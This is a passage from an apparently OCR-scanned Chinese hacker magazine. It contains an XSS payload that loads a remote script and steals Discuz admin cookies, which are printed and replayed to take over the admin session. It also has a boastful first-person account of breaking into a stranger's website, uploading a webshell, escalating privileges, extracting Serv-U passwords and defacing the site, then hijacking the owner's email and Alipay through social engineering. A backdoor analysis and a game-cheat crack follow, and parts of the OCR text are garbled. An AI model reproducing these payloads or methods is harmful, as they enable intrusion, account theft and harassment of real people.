<im< td=""><td>g id="imgzo</td><td>m_zoom"</td><td>width="</td><td>200″ hei</td><td>eht=[~]224</td><td>1 h="224" -</td><td>200 52</td><td>c⊊″http</td></im<>	g id="imgzo	m_zoom"	width="	200″ hei	eht= [~] 224	1 h="224" -	200 52	c ⊊″http
🖃 <di< td=""><td>v class="im</td><td>zoom_tit</td><td>1e"></td><td></td><td></td><td></td><td></td><td>(</td></di<>	v class="im	zoom_tit	1e">					(
E	∃≺script sr	c="http:/	//loac1h	lost/1.js	2			\
	1 🧃	新载入页	面以获到	如源代码:	http://	/losclhost/1	<u>y: Te</u>	am
					Concession of the local division of the loca			

图 4.2.4 无法加载

那怎么办呢?

不要忘了,我们还有 IMG 标签

我们可以使用:

<img src=x onerror="var

s=createElement('script');document.body.appendChild(s);s.src='http://localhost/1.js';">

这样的代码来创建一个 body 里面的 script

(为什么要这样写我就不说了,总之是这样的)

但是写进去后我们发现,太长了......

是的被 DZ25 截断了,如图 4.2.5



```
var s_c = cookies[i].split('=',2);
                               cookie_dict[s_c[0]] = s_c[1];
                        }
                  }
                  setCookies(true);
                  alert(JSON.stringify(cookie_dict));
            }
      }
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = parseCookies;
      xhr.open("GET", "httponly.php", true);
      xhr.send(null);
makeRequest();
</script>
<script>alert(document.cookie);</script>
之后我们就得到了可以用来截取 js 的代码了
0x04 COOKIE 搜集
我们来看看得到的 COOKIE
自己写的......界面比较丑......如图 4.2.8

    location: {"tjpctrl":"1364095936700"," sucG_2132_saltkey":"qUN4aYA5"," sucG_2132_lastvisit":"1364090206","

  sucG_2132_sid": "gHRMg6", " sucG_2132_lastact": "1364094136%09misc.php%09patch", " sucG_2132_visitedfid": "2",
  sucG_2132_ulastactivity": "21b2HLeUPNpIb8vN%2BkvH9%2FVitweH0Jr70opCWNmH65NzJ6dYZSPh",
  sucG_2132_lastcheckfeed":"1%7C1364093903", " sucG_2132_smile":"1D1",
  sucG_2132_auth": 29331vqJQk5Zg8gAH2VHfHauVbQvqiRLFp17D%2BQXRecXoP5YtnVHj4kbI%2BxqJXQ%2BoneufK4I8PWppviAnlcZ"
sucG_2132_viewid": "tid_4", " sucG_2132_editormode_e": "1", " sucG_2132_forum_lastvisit": "D_2_1364094004"
sucG_2132_onlineusernum": "4", " sucG_2132_nofavfid": "1", " sucG_2132_sendmail": "1", " sucG_2132_checkpm": "1
                                                                                                                          Team
  sucG_2132_checkpatch":"1"}
                                                                                                              CULITY
```

图 4.2.8 搜集到的 cookie

可以看到, AUTH 字段很好的被包裹了进去

撸主用的 JSON 格式的,还要做点处理,大家也可以用 encodeURIComponent,就省去了 json 的麻烦

1.将"全部去掉

2.将: 换成=

3.将,换成;

最终得到如图 4.2.9

Cookie: tjpctrl=tjpctrl=1364095936700; suc6_2132_saltkey=qUN4aYA5; suc6_2132_lastvisit=1364090206; suc6_2132_sid=gHRUg6; suc6_2132_lastact=1364094136W09misc.phpW09patch; suc6_2132_visitedfid=2; suc6_2132_ulastactivity=21b2HLeUPNpIb&vN %2EkvH9%2FVitweHDjr70opCWNmH65Nzj6d72SFh; suc6_2132_lastcheckfeed=1%7C1364093903; suc6_2132_smile=1D1; suc6_2132_auth=29331vq10k5Zg8gHH2VHFHauVb0vqIRLFp17D%2EQXRecXoF5TtnVHj4kb1W2ExqJW0%2BoneufX4T8PWppviAn1c2; suc6_2132_priorie=1124; suc6_2132_editormode_e=1; suc6_2132_forum_lastvisit=D_2_1364094004; suc6_2132_onlineusernum=4; suc6_2132_pofacfid=1; suc6_2132_sendmail=1; suc6_2132_checkpm=1; suc6_2132_checkpatch=1]

图 4.2.9 最终效果

0x05 登录 我们打开 BURP,这个东西是个神器,不用我说大家都会用吧? 选上 cookie 然后点 edit

第49页/共77页

remove secure fla	ag from cookies	\sim	
tch and replace		Г	<u> </u>
type	match	replace	edit
request header	^User-Agent.*\$	User-Agent Mozilla/5.0 (Win	
request header	^If-Modified-Since.*\$		remove
request header	Alf-None-Match.*\$		
request header	^Referer.*\$		up
response header	^Set-Cookie.*\$		down
request header	^Cookie.*\$	Cookie: tjpctrl=tjpctrl=13640	uowii
requestrieddor	COOME. 0	Coolide: gpear-gpear- 10040	ABU To

图 4.2.10 BURP 修改 cookie

之后设置代理为 burp, burp 就会自动替换头中的 cookie 字段 然后看下效果~~~如图 4.2.11

🚨 admin 在线 设置 消息 提	醒 模块管理 管理中心 退出 🍂
7	积分: 12556 - 用户单: 管理员
	Security"Team

图 4.2.11 效果图

到此,我们的分析就暂告一段落了 FAQ: 朋友问我可以进后台么? 答:可以的,但是要管理员先登陆过后台才行,同样用 BURP 修改头即可 (全文完)责任编辑: Panni_007

第3节.一个帐号引发无聊渗透

作者:我可帅了 来自:Silic Group Hacker Army 网址:http://blackbap.org 昨晚下铺的基佬跟我说有个人在学校的情感微博上打广告 你说这情感热线你打什么商业广告 于是在基佬的撺掇下我愉快的决定把他的返利网站撸了~ 先瞅了瞅这套程序,做的蛮好的,很成熟 不管是我截断还是提交 xss 代码都回显一个 what are you doing man! 不愧是花钱买的,就是坚挺 于是我决定看看目录有什么敏感的东西没有 wvs 很给力的扫到了后台,如图 4.3.1



图 4.3.1 扫到后台

登录后试了试弱口令不对,万能密码依旧显示 what are you doing

怒了,射他丫的,开启 Metasploit 查 whois (为什么开 MSF? 尼玛这样显得专业,装逼~) 查询结果也让我失望,有隐私保护,果断不行,后来在其站内找到联系 QQ,嘿嘿,经过 一番狭义社工百度谷歌之后,找到了个通用的帐号 dang****88 啥的~~~就此,一个帐号引 发的血案开始了

还记得几天前看刺的"道哥的黑板报"上面的 V 是大数据黑阔~(膜拜)我人比较菜,但是也 掌握一点点库,从我的接口一查,嘿~密码口爆了,连同邮箱一起被我口爆了,试了试后台, 果然正确,如图 4.3.2

ais's blan 🕷 💷 🕬	8-1 - 10 N Brine . H	1999 - 19	an TEL A Church HERE Church Church	- Ove 🐸 157215 - A'MELEC		
2311 1 8	Nere State		管理員:4************************************	1: 1923年 二 当約費用印: 1000		
www.dvodvo123.	com					
淘汰管理	1 <u>6890</u>					
拍拍管理	安全编示: 编及时通过FTP	更改简编编译目录"admin"为其他名	物.	版本信息		
印合自动的理	委全编示: 清及时通过FTP	都 解install文件共。		₩ 164 : V8_UTF-8		
CHIRACIT	站各快經 设置向导			¥TDD8.0-130327-		
HCER	<u>第方伝統: 単独中心</u> 計	这问题 风向短 多多黑板绿 近景	与建立	#h] 008.0-130325-1 #TDD8.0 1806804		
会供營調	达洛伊博士 测宗江林 3	建立油 全员到表 委取到表 始始	记录 五泊文章	多多运利V8.0安装包		
埠顶常 瓣	站员处理					
数紫库管理	有3 条燃使中国费1查查			度业换权查询 查询技术		
兑换管理	室田中心	恋担中心				
播件管理	海童订单获取有效性计时	海空订单获取有效但计时,有效服为29天19小时19分48秒 获取淘空货权 洪明				
文章武器	BIESBIEREN FRANKEN	引导数据夺化, 掌位 (便干站长出种网	站运营状态]	與天陰积四天世社		
	网站收益:0元	提取金额:0元	会员资金交动: 5.86 元	官方公告		
164773EE	会员数量:2位	上次复位时间:2012-09-1	1	(2012年11月02日)安		
scottin	网站总数据			[2012年10月17日]赤		
杨秋秋日日	息収益:0元	预计收益:-5.86元	智妙文體:0元	Mysq19405A1E384		
被種母教種	ビス出:0元 会売量:2	论研究团:5.89元	E0694 : 0.76	freez-terlinex		
管理员组						
管理员管理	息交易額:0元	息収量:0元	息交易量:0 賞			
茶单茵短	日時以订单:0条	未认领订单:0条				
E店前環	始始联盟			轮长推荐		
服务器供应		の収益・0元	总交易量:0 条	多多周宝器 自动购买		

图 4.3.2 进入后台

第 51页/共 77 页

平台有点吊啊,功能很齐全很复杂,还有个短信接口,昨天晚上被我发短信测试"查水表" 的黑客们,嘿嘿,就是我发的

之后来到域名商登录,本来想做个劫持就行了,不过想想要不直接把服务器撸了吧,翻到 一个 php 的木马,果断 ftp 传上去(id 和密码都是我口爆的那个)

果断被杀了。。。汗,换了个目录,做了点手段总算传成功了,如图4.3.3

redrain *	8 (7封末後) 同島創織5	086	ftp://www.	er/eomei	G Mumaasp.com发布留景版本php:
S S S S S S With the summerphy					Georgie 🚰 🚞 🏠 🔄 🗢
🤋 redrain's blog 👸 津垣連道 - ('- ')つ 🚖	iPc.me - 与你分享互 🎴 论坛 🔜	学习 🛂 xss项目 🐖 (Acfunite Table 201	CloudCracker = O	ni 💙 傳习场 - ACM程绘评 🙎 Li
	and the second se	Mumaasp.com	※顧恩新発系 2013年0	3月28日 06:57:58	.
	根目录 Shell目录 环	境支量 在線代理 注册	表操作 PHPINFO()	WebShell 旅信時間	解 解压mix.dll 注纳登录
	能量挂马 Http文件	下載 文件重找 执行ph	p脚本 执行SQL语句	FunctSWShell M	lySQL编H3 Serv-U趨权
	程序路径: D:/www.roct/dang,	/www.root angyu3388/www.root			前定 【文明的月期
	经约相对期经]				
	上传文件到当前日录:		测酒… 磺定	-	
	新建文件在当前目录:		确定		O CONTRACTOR
	新建日录在当前日录:		确定		Darres Darres
	89	: Program pcAnywh	ere 开始缩涂 AllU	sers Serv-U C	
	文件	创建日期	最后终改	大小	Stellin Zol
	返回上後目景				又乃开理了Phone Q1萬級傳感傳送的事 到对方手机,点击查看详情
	[404]	2013-03-27 02:37:46	2013-03-27 02:37:54	Search	0 交谈中请勿经信汇款、中奖信息、简生
	🗌 (admin)	2013-03-28 12:56:05	2013-03-28 13:13-34	Search	0 11128m
	[api]	2013-03-28 13:13:34	2013-03-28 13:20:49	Search	2013/3/22 0:
	Comm)	2013-03-18 10:26:05	2013-03-28 13:53:37	Search	1 miles
	Cos]	2013-03-28 13:23:00	2013-03-28 13:23-21	Search	
	[data]	2013-03-28 13:23:21	2013-03-28 18:56:07	Search	1
	[faroianbao]	2013-03-28 13:31:02	2013-03-28 18:41-55	Search	· HT 2

图 4.3.3 拿到 shell

然后 webshell 一拿接下来就是提权了~很常见的 su 提权,拿到服务器如图 4.3.4

6 1	25:4888 - 远程桌面连接					· ·
		亞家到 w	indows			
			A Window	- Convorce		
			Enterprise Edi	tion	03	
		Copyright @ 1	1985-2003 Microsoft Corporation		Microsoft	
		用户名の	D: hacker		-	
		密码 (P):				
			-	1 12:00	Liemmon ss L	
			ND-C			

图 4.3.4 成功登录服务器

有点蛋疼的是其中的步骤,他把 3389 端口改了,还得从注册表内查询到端口为 4888。。。。 这里提供一条思路,呃,不算淫荡,但还可以,获取密码的。通过注册表: regedit /e "C:\Documents and Settings\All Users\Documents\desktop.ini" "HKEY_LOCAL_MACHINE\SOFTWARE\cat soft\serv-u\" 把密码写到 desktop.ini 里,因为我这里就只有这个地方可写,然后下载下来就是明文啦~ 撸啊撸,最后还是决定高调挂个页面(好久没有黑站了,给玩一下嘛。。。)没挂首页,丢了 个 txt 就安安稳稳的睡觉了

但是没想到,他丫的第二天把整站干掉了,还在微博口气有点冲啊~我就不高兴了,愉快的 又撸了他第二回,这次挂了首页,如图4.3.5



图 4.3.5 挂首页

他再次删除整站,我再次挂回去。。。反反复复大概三四回吧,之后他大概问了人,我从 ftp 进不去了,于是域名劫持又黑了一次,这些都是小事

后来我也准备玩大的,通过他的口令劫持了邮箱(后来发现他把所有弱口令都改了,还好 我手快。。。)在邮箱里发现了好玩的,支付宝~

呵呵,于是开始大规模社工他,为了劫持到他的支付宝,如图 4.3.6



图 4.3.6 搜集到信息

在得到大部分情报后开始劫持支付宝~

因为有他的绑定邮箱和大量私人信息,很简单就把支付宝搞定了,如图 4.3.7



图 4.3.7 搞定支付宝

呃,事后我没有对其支付宝做任何动作,没有对其财产造成任何损失
毕竟没有深仇大恨,只是为了提现信息安全的重要性嘛
PS:
其实当我掌握了这些信息后
他本人的,父母,女友的支付宝和微博等都可以劫持了
不过没那么阴损,提个小插曲
当我在修改他密码的时候看到要发短信
我的第一想法是要不要为了这个事情做一张黑卡伪造号码[~]呵呵
(全文完)责任编辑:游风

第五章 代码艺术

第1节.法客工具包某后门分析

作者: Using07

来自: Silic Group Hacker Army

网址: http://blackbap.org

大概 10 来天前吧, F4ck 的论坛有人说工具包的星号密码查看器会释放 shift 后门; 其实那个程序本身没问题

(也不能说完全没问题,有附加数据,但是没用,应该是被感染过然后没杀干净),问题在加载的那个 lpk.dll 上,如图 5.2.1



图 5.2.1 找到目标

然后看接下去的行为,见图 5.2.2

操作: 进程: <∕\ 说明:	删除文件 c:\documents and settings\aoeui\桌面\del\星号密码查看工具 pwdspy.exe
发布者: 目标: ===	(未验证) <u>C:\WINDOWS\system32\dllcache\sethc.exe</u>
規則: 📁	[应用程序]c:\documents and settings\aoeui\氯面\del* -> [文件]*

图 5.2.2 查看行为

替换了 sethc.exe, 然后 Win 的文件保护机制就冒泡了, 如图 5.2.3

Windows 文件保护	
正常运行 Windows 所需的文件已被替换成无法 本。要保持系统的稳定,Windows 必须还原这些 版本。	识别的版 些文件的原有
现在插入您的 Windows XP Professional Serv	ice Pack 3
<u> 重试 (R)</u> 详细信息 (M)	取消
	0010.0.10

图 5.2.3 Windows 弹出警告

这里就简略分析下那个释放的 sethc.exe...

首先按尿性 PEiD, 图 5.2.4

Heid v0.94		
文件:C:\Vsers\Ving\Desktop\T	MP\sethc.exe	
入口点: 000017030	EP 区段:	. text
文件偏移: 0000F030	首字节:	55, 8B, EC, 6A 📃 🔀
链接器信息: 6.0	子系统:	Win32 GUI >
Microsoft Visual C++ 6.0		
多重扫描(M) 任务查看器(T)	选项(0) 关于	F(A) 退出(X)
☑ 置于顶部(S)		>> ->

图 5.2.4 Peid 查壳

没壳就省事多了, 这个 shift 后门是通过同时按键来触发的如图 5.2.5

📑 IDA View-A	🛛 🛛 Hex View-A 🗶 🖪	Structures	Enuns] 🕅 Imports
Address	Ordinal Name	^	Librarv	
10041803C	ExitProcess		KERNE	.32
00418064	FlushFileBuffers		KERNE	132
00418104	FreeEnvironmentStringsA		KERNE	1.32
00418108	FreeEnvironmentStringsW		KERNE	132
0041809C	GetACP		KERNE	L32
第 004181C4	GetAsyncKeyState		USER32	2
1004180A0	GetCPInfo		KERNE	.32
004181B0	GetClassNameA		USER32	2
00418058	GetCommandLineA		KERNE	132
00418030	GetCurrentProcess		KERNE	.32
00418128	GetCurrentThreadId		KERNE	132
00418158	GetDesktopWindow		USER32	2
00418110	GetEnvironmentStrings		KERNE	.32
00418114	GetEnvironmentStringsW		KERNE	132
004180D0	GetEnvironmentVariableA		KERNE	L32
004180DC	GetExitCodeProcess		KERNE	132
00418120	GetFileType		KERNE	132
004181BC	GetForegroundWindow		USER32	2
004180D4	GetLastError		KERNE	132

图 5.2.5 IDA 分析图

调用了 GetAsyncKeyState, 看看它的引用:, 如图 5.2.6

```
O Hex
📃 IDA View-A 🔀
               [ 🔄 Pseudocode-A [ 🔀
                                E Pseudocode-B 🔀
v0 = ( UNKNOWN *)LODWORD(dword 41B9D9);
if ( !LODWORD(dword_41B9D9) )
  v0 = &unk 41B37C;
v1 = sub_40A6D0(1, *(double *)&v0, -2147483644);
LOBYTE(v2) = Get_The_Key(v1);
v13 = v2;
if ( v2 != (void *)1 )
  goto LABEL_22;
u3 = (_UNKNOWN *)LODWORD(dword_41B9DD);
if ( !LODWORD(dword 41B9DD) )
  v3 = &unk 41B37C;
v4 = sub_40A6D0(1, *(double *)&v3, -2147483644);
LOBYTE(v5) = Get The Key(v4);
if ( v5 != 1 )
  goto LABEL_22;
v6 = (_UNKNOWN *)LODWORD(dword_41B9E1);
if ( !LODWORD(dword 41B9E1) )
  v6 = &unk_41B37C;
v7 = sub_40A6D0(1, *(double *)&v6, -2147483644);
LOBYTE(v8) = Get_The_Key(v7);
if ( U8 != 1 )
sub 40195F:23
```

```
图 5.2.6 三次引用
```

目测不出来了, 动态调试吧, 如图 5.2.7

2013 年第 4 期

to 11yICE	- sethc.exe - [0	CPO -	主线程, 模块 - 05ER32]	
(1) 封建 2	春春(1) 词式(1) 推进	创地	(1) 第二(1) 南京(1)	-
製件		-	HI LEMTWHC	NARUS HIT
7702078F	88FF	nov	edi, edi	▲
77028791	55	push	ebp	EAX DODDON1
77029792	8BEC	ROV	ebp, esp	ECX 7093030 mtd11.70930030
77028794	53	push	ebx	EDX 00150608
77028795	56	push	esi	EBX 000000C
77028796	64:R1 18000000	nov	eax, duord ptr fs:[18]	ESP 0012FD80
77D2879C	8378 40 00	cnp	duord ptr [eax+40], 0	EBP 0012FD98
77028788	0+84 DF/80100	34	77042085	ESI 004038ED sethc.004038ED
77028786	8850 08	nov	epx, avora ptr [ebp-s]	EDI 0012FE50
77028789	83FB 82	cnp	ebx, 2	FTP 7702070F INCEND Cathours Fault ate
77028780	0150 0F/80100	34	11042011	
77028782	8318 01	cnp	ebx, 1	C 0 ES 0023 32(2 0(FFFFFFF)
77028785	0754 06/80100	1	77042091	P 1 CS 8018 32位 8(FFFFFFF)
77024788	8388 20	cnp	epx, 20	A 0 55 0023 32 0(FFFFFFF)
7702878E	13 /1	Jup	SBOPE 77028831	2 0 DS 8023 32(7) 0(FFFFFFF)
77020700	64:H1 18000000	nov	eax, dword ptr +5:[18]	S 0 FS 0038 32(2 7FF00000(FFF)
77028766	8800 80100///	ROV	eck, duord ptr [//b/1080]	T 0 CS 8000 HULL
77028700	BEF C	nov	es1, e4x	D 0
77028768	8886 108/0000	nov	eax, duord ptr [es1+/10]	0 0 Lasterr ERROR_SUCCESS (00000000)
77028704	3881 28090000	cnp	eax, duord ptr [ecx+928]	EEL DODDED M. (NO NE NE & NO PE CE C)
77028708	75 55	jaz	short 7702#831	cur month function function for
7702870C	0F 8603	BOV2X	edx, bl	ST0 empty -BN08H BCE0 01050104 00000000
77028705	3308	X0L.	eax, eax	ST1 empty 0.0
770287E1	SBCA	nov	ecx, edx	ST2 empty 0.0
77028783	8361 07	and	ecx, 7	ST3 empty 0.0
77D287E6	48	INC	eax	ST4 empty 0.0
770287E7	DJE0	shl	eax, cl	STS empty 0.0
770287E9	SBCA	nov	ecx, edx	ST6 empty 0.0
27020758	C1EQ R2	chr.	ery 3	ST7 empty 2.000000000000000000000000000000000000
60T-0615bi	19.6			3210 ESPU02DI
				FST 0000 Cond 0 0 0 0 Frr 0 0 0 0 0 0 0 0 (CT)
88418888	0 00 00 00 00 00	0 00 00	88 88 88 88 45 46 41 88	EFA. A UTITETET 000001805 CALL 3 GetAsyncKeyState R. sethc.0000180F
88418818	IE 4E 41 88 CA 51	8 41 88	88 88 88 88 88 88 88 88 88 Ha. #A	0012F084 00000041 LKey = 41 ('A')
88418828	16 AF 41 88 88 8	0 00 00	00 00 00 00 00 08 58 41 00 60a)路A. 0012F5088 0012FE50
08418830	0 00 00 00 00 00	8 88 88	00 00 00 00 00 00 00 00 00	0012FD0C 004038ED sethc.004038ED
88418848	10 AE 48 80 28 BI	0 48 86	00 00 00 00 00 00 00 00 00 \$70. 00	
88418858	0 00 00 00 00 0	0 00 00	00 00 00 00 00 00 00 00	0012FD94 0012FD88
88418868	00 00 00 00 00 0	0 00 00	00 00 00 00 00 00 00 00	
BRASER BTA		0 00 01		Nagatingel adubtagel EERT with aduption a first and a solution
Command bp	GetAsyncKeyState	*		
新点位于 US	R32. GetAsynclicySta	vte		

图 5.2.7 动态调试

同时按住'ABC'触发登录窗口,如图 5.2.8

Please enter your Pass	rord	Ì
	G0!	I

图 5.2.8 登录窗口

然后这里,我对输入框对按钮下了半天断也没断到... 然后又回到 IDA, Shift+F12 查找字符串,如图 5.2.9

[IDA View-A 🗵	📑 Pseudocod	le-A 🔀	[] Pseudocode-B 🗵	🖸 Hex View-A 🔣	📕 Stru
Address	Lenath	Tvo	e Strina		
rdata:00419AA4	000000D	C	KERNEL32.dll		
s' .rdata:00419D50	000000B	C	USER32.dll		
s' .rdata:00419D6C	A0000000	C	WINMM.dll		
rdata:00419D76	000000D	C	COMCTL32.dll		
s .rdata:00419DA2	A0000000	С	GDI32.dll		
😼 .data:0041B25E	00000021	С	21232f297a57a5a	743894a0e4a801fc3	
.data:0041B2F4	0000007	C	SHIFT		
s' .data:0041B317	00000005	C	SHIFT		
's' .data:0041B324	00000005	C	ALT		
's' .data:0041B32B	0000009	C	Windows		
's' .data:0041B34A	0000005	C	\r\n\r\n		
's' .data:0041B34F	00000005	C	确定		
s' .data:0041B359	0000009	C	设置(&S)		
's' .data:0041B362	000001A	C	control.exe access	s.cpl,,1	
.data:0041B37D	000001B	С	Please enter your	Password	

图 5.2.9 查找字符串

第 57页/共 77 页

找到个 MD5, 很熟悉吧?! admin 的 MD5...,最后结果如图: 5.2.10

Velcome !	
net user	Run 直捣黄龙
= =! 就这么个J8玩意?!	~
	~

图 5.2.10 最终结果

(全文完)责任编辑:left

第2节.论 VMP 与阴影

作者: Using07

来自: Silic Group Hacker Army

网址: http://blackbap.org

技术指导; z8

记录: QQ2013

整理:...

起因大致是这样,我玩的某个页游外挂更新了,可能作者想钱想疯了吧,整了个15s的广告窗口在那,关键是那倒计时和时钟有误差,少说得有个20s,人参才几个20s啊,每次启动外挂都要先来个20s...

外挂界面有一下几个,如图 5.3.1, 5.3.2, 5.3.3



第 58页/共 77 页



图 5.3.3 外挂界面

整个外挂大致就这么几个界面,我的目的就是要让外挂启动的时候, 跳过那个公告窗口直接进入主程序; 咋一看这好像没什么,定位到公告窗口流程,直接 nop 掉或者 jmp 掉就好了, 直到我看到这个,如图 5.3.4

文件:[C:\U).94 Sers\Ving\D	esktop\神仙;	道懒娃伴侣全	に 能版betaD.5	52\神仙道 [
入口点: 文件偏移: 链接器信息	005C8134 00256534 द्रि: 10.0		ⅡP [2 首字 [:] 子系:	【段: .vmp1 节: E8,B9 统: Win32), 2D, 00 [2. GVI [
什么也没发 多重扫描	〕 ∭) 任务查	看器(T)	选项(0)	关于(A)	退出(X)	
 ✓ 置于顶 ×段查看器 	部 (S)			100.000	>>> [->
 ▼ 置于顶 ▲段查看器 名称 	部(S) V. 偏移	₩. 大小	R. 偏移	R. 大小	>】[↓标志	
 ✓ 置于顶 State State State	部(S) V. 偏移 00001000 00188000	V. 大小 00186BC7 00082BDC	R. 偏移 00000000	R. 大小 00000000	>>> 标志 60000020	
▼ 置于顶 < <u>段查看器</u> 名称 .text .rdata	部(S) V. 偏移 00001000 00188000 00208000	V. 大小 00186BC7 00082BDC 0000E9A0	R. 偏移 00000000 00000000 00000000	R. 大小 00000000 00000000 00000000	>>> 「	
▼ 置于顶 < <u> 段</u> 查看器 <u> 名称</u> .text .rdata data .vmp0	部(S) V. 偏移 00001000 00188000 0020B000 0021A000	V. 大小 00186BC7 00082BDC 0000E9A0 00157343	R. 偏移 00000000 0000000 0000000 0000000 000000	R. 大小 00000000 00000000 00000000 00000000	》 标志 60000020 4000040 C0000040 E0000060	
▼ 置于顶 田子顶 A称 .text .rdata data .vmp0 .vmp1	部(S) V. 偏移 00001000 00188000 0020B000 0021A000 0021A000 00372000	V. 大小 00186BC7 00082BDC 0000E9A0 00157343 0025C44C 00000014	R. 偏移 00000000 0000000 0000000 00000000 00000	R. 大小 00000000 00000000 00000000 00000000 00025C600	参加 参加 参加 参加 参加 参加 参加 参加 参加 参	
▼ 置于顶 ×段查看器 A称 .text .rdata data .vmp0 .vmp1 .reloc .rsrc	部(S) V. 偏移 00001000 00188000 0020B000 0021A000 00372000 005CF000 005D0000	V. 大小 00186BC7 00082BDC 0000E9A0 00157343 0025C44C 00000D4 000015B3	R. 偏移 00000000 0000000 0000000 0000000 000000	R. 大小 00000000 0000000 0000000 0000000 0025C600 0000200 00001600	参 标志 60000020 4000040 C0000040 E0000060 E0000060 40000040 40000040	

图 5.3.4 发现 vmp 壳

赤果果 VMP 显示在这里, 这 TM 让老纸情何以堪?!

之前想的啥 nop 啊 jmp 啊全都废了...首先就是脱 VMP 不太现实,其次是 VMP 的保护机制 修复起来很麻烦, 再者, 自校验也很难搞; 总之一句话, 文件 patch 行不通;

既然文件 patch 不行, 那不还有内存 patch 么....

操 OD 上;

一般用时间来控制流程的 API 是 SetTimer 和 Sleep(Sleep 的话要开线程);

现在我已经知道外挂用的是 SetTimer, 所以, OD 载入后直接 bp SetTimer 下断, 如图 5.3.5

B Breakp	oints			
地址	模块	激活	反汇编	^
77D18C2E	USER32	 女 <u>百</u> 4 零	mov eax, 121E	
Command bp S	etTimer	-		

Command bp SetTimer

图 5.3.5 下断点

然后 F9 运行, 断在第一个 SetTimer, 如图 5.3.6

0012F738	00402506	CALL 到 SetTimer 来自 神仙道頼.00402500
0012F73C	000501F8	hWnd = 000501F8 ('公告窗口',class='#32770')
0012F740	00000001	TimerID = 1
0012F744	0000000A	Timeout = 10. ms
0012F748	00000000	Timerproc = NULL
0012F74C	5084C29E	
0012F750	00000000	
0012E75b	88454410	

图 5.3.6 程序停止在断点

很好, 第一个 SetTimer 就是我要找的, 直接到反汇编窗口看: (忘记截图了, 略过吧...看不看都一样, 反正大伙都看不懂的, 对吧~) 现在程序已经完成对自己的解密了, 然后 dump 出来扔 IDA, 如图 5.3.7

	IDA IDA	View-	A	×	l	0	Hex	Vie	w-A	×		A	Sti	ucti	ures	E	3	E	Enums	×
1	005B3D74	61	67	65	25	33	44	31	00	68	74	74	70	38	2F	2F	74	age%	3D1.http	://t
1	005B3D84	2E	71	71	2E	63	6F	6D	2F	60	61	6E	77	61	38	38	38	- qq -	com/lanw	a888
1	005B3D94	00	00	00	00	68	74	74	70	38	2F	2F	77	65	69	62	6F		http://w	eibo
	005B3DA4	2E	63	6F	6D	2F	60	61	6E	-77	61	38	38	38	00	00	00	.com	/lanwa88	8
	005B3DB4	B9	AB	88	Eő	85	89	BC	C6	CA	B1	A3	BA	25	64	88	00	- 公告/	倒计时:	%d
	005B3DC4	00	00	00	00	24	FC	5E	00	60	54	40	00	60	23	40	00		\$凯- те.	`#@.
	005B3DD4	90	13	40	00	97	E4	45	00	9E	87	45	00	EF	FB	48	00	.桶	E_瀲E_稃	J.
	005B3DE4	CC	E9	4D	00	Dő	9C	46	00	D6	90	46	00	B5	E5	45	00	递₩-)	譁F-譁F-	靛E.
	005B3DF4	C7	DA	45	00	05	E6	45	00	BD	E5	45	00	FF	E5	45	00	觐E-	-鍱-藉E-	辩-
	005B3E04	FØ	8A	45	00	C3	E5	45	00	18	8A	49	00	CC	E9	4D	00	該E -:	徊Ĕ-:乔-	淿М.
	005B3E14	CC	E9	4D	00	CC	E9	4D	00	A Ø	68	4E	00	60	22	40	00	湯М-:	滉M-爅N-	···@.
	005B3E24	A4	9A	45	00	86	CE	45	00	EF	AC	45	00	9E	E2	45	00	E	單E-铿E-	焾Ε.
	005B3E34	BF	8A	45	00	8E	87	45	00	87	96	45	00	1D	88	45	00	經王 -	昆E-嚉E-	- 圖 -
	005B3E44	CC	E9	4D	00	DE	D9	45	00	53	DA	45	00	FE	9D	45	00	湯М-3	拶E-S贓-	鹏E-
	005B3E54	25	95	45	00	46	A7	45	00	70	87	45	00	8E	91	45	00	3百-	F - P -	弫E-
	005B3E64	AD	91	45	00	62	91	45	00	07	91	45	00	FC	91	45	00	增5	塊	警:-
	005B3E74	21	92	45	00	40	92	45	00	08	92	45	00	90	92	45	00	、扠	汉-"孩-	「認う
	00583E84	85	92	45	00	DH	92	45	00	02	93	45	00	27	93	45	00	(夜日-)	1912 - 111-	(]퀩
	00583E94	30	93	45	00	21	93	45	00	10	93	45	00	98	93	45	00	설립-	[1] - 이] - [1] -	꺅!-
	005B3EH4	69	93	45	00	F 1	93	45	00	00	94	45	00	ZE	94	45	00	· 書: - (號…違.	[[[[]]]][[]]][[]]][[]]][[]]][[]][[]][[
	00583E84	ZE	94	45	00	53	94	45	00	11	10	45	00	44	44	45	00	"搞"	增至	- 现
	00503E64	50	44	45	00	FO	07	45	00	40	13	40	00	4.6	11	40	00	赤又E->	墙口.00	4±±
	005B3ED4	50		40	99	FU	07	45	99	15	15	45	99	14	99	45	99	P.@.	鼎EUE.	- 功元 -

图 5.3.7 找到字符串

定位到这里,用 IDA 的神器, 钛合金 F5 来一发, 如图 5.3.8

```
if ( a2 == 1 )
{
  if ( dword_6111E4 - 10 <= 0 )
  <
    KillTimer(*(HUND =)(this + 32), 1u);
    sub_45758D(1148);
    sub_45776E(0);
    sub_45758D(1003);
    sub_45776E(1);
    sub_45758D(1003);
    sub_457780(1);
  >
  else
  {
    dvord_6111E4 -= 10;
    sub 45758D(1003);
    sub_45776E(0);
    02 = sub_453F2A();
    if ( !U2 )
     U2 = 10c_401A20(-2147467259);
    lpString = (LPCSTR)((*(int (__thiscall **)(int))(*(_DWORD *)v2 + 12))(v2) + 16);
    U9 = 0;
    03 = sub_453F2A();
    if ( 103 )
     U3 = 10c_401A20(-2147467259);
    a2 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 12))(v3) + 16;
    LOBYTE(09) = 1;
    v4 = (signed int)(dword_6111E4 + ((unsigned __int64)(-1851608123i64 * dword_6111E4) >> 32)) >> 9;
sub_401450(&lpString, "公告倒计时: %d", v4 + ((unsigned int)v4 >> 31));
    sub_45758D(1148);
```

```
sub 402700:10
```

PUSH O NOV EAX, 11111111 CALL EAX RETN	1			*
[机器码数据] {106, 0, 184, 17, 1'	10 字节 7, 17, 17, 255, 208, 19	汇编 ↓ 95}	反汇编 ↑	

分析差不多到这了.别让流程到 else{...}里面就搞定,看关键代码,如图 5.3.9

图 5.3.9 关键代码

那个 MOV EAX, 11111111 的地址,在 XP 里是固定的,但是 Win7 用了个啥机制来着,然后地 址是动态的,所以,要程序运行的时候获取,如图 5.3.10

```
--> 判断循环首 (句柄 = -1)
       句柄 = 取句柄( , "公告窗口")
       延时 (50)
     --- 判断循环尾 0
     提升进程权限 0
     内存 = 目标.创建内存 (1024)
     目标.修改内存属性(内存)
